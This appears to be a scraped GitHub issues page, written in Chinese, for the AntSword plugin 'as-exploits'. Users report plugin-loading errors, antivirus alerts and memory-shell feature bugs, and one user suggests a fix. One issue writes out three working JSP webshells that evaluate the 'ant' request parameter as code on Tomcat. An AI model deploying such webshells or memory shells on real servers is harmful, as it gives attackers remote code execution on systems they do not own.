yzddmr6 / as-exploits Goto Github PK

-当执行杀软识别时出现以下报错

解压报毒？？？？？？？？/

我已经下载解压到antSword-2.1.9\antData\plugins目录下，打开antsword后，在本地仓库上可以看到。但在shell上右键加载插件上没有看到。请问师傅应该怎么启用呢？

内存马管理里报错

ERROR:// java.lang.ClassCastException: class org.apache.coyote.ajp.AjpNioProtocol cannot be cast to class org.apache.coyote.http11.AbstractHttp11Protocol (org.apache.coyote.ajp.AjpNioProtocol and org.apache.coyote.http11.AbstractHttp11Protocol are in unnamed module of loader java.net.URLClassLoader @5a8e6209)

从博客看到尝试的，不知道是不是我操作哪里有问题？
环境
tomcat-8.5.82
jdk1.8.0_241

1、shell payload:
<%
try {
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
} catch (Exception e) { }
%>


2、shell payload:
<%
out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;
%>


3、shell payload:
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>

问题描述：
在尝试使用「内存马管理」功能中的「获取所有组件」并点击「exploit」时，我遇到了一个错误信息。错误详情如下：

ERROR:// java.lang.ClassCastException: org.apache.tomcat.util.threads.ThreadPoolExecutor cannot be cast to java.util.concurrent.ThreadPoolExecutor

问题定位：
经过仔细排查，发现问题出现在memshell_manage包中的依赖导入。当前导入的是java.util.concurrent.ThreadPoolExecutor，然而在运行环境中，应该使用org.apache.tomcat.util.threads.ThreadPoolExecutor。

修改建议：
将import java.util.concurrent.ThreadPoolExecutor;更正为import org.apache.tomcat.util.threads.ThreadPoolExecutor;。

ps：我已自测通过

每天一问

错误
Error: Cannot find module 'G:\hacker\hack tools\exp\web\webshell\**蚁剑\antSword\antData\plugins\As-Exploits-master\core\base_info\payload'

项目很不错 请问将来是否会支持weblogic的内存马

macos运行及在VScode调试报错Uncaught Error: Cannot find module 'ui/window'

请问如何编译该项目，或者请问怎么找到图形化界面